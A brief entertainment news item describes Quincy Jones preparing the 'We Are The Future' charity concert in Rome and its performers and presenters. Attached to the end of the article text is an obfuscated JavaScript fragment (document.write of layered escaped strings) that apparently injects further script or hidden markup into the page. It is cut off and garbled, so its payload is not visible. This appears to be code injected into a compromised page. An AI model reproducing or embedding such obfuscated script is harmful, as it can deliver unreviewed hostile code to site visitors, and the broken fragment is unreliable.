Overview
Quincy Jones says getting a bunch of celebrities together is like "trying to saddle a rat."
Jones is trying to finalize plans for the "We Are The Future" concert Sunday in Rome. Among the musicians who will be involved are Norah Jones, Alicia Keys, Josh Groban and Take 6, as well as presenters Oprah Winfrey, Angelina Jolie and Muhammed Ali.
The concert has the same philosophy as "We Are The World" single from 1985, which Jones also spearheaded. He says the concert will produce a benefit single which will be released shortly after the show.
Proceeds will benefit children's centers in worn-torn areas around the world.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
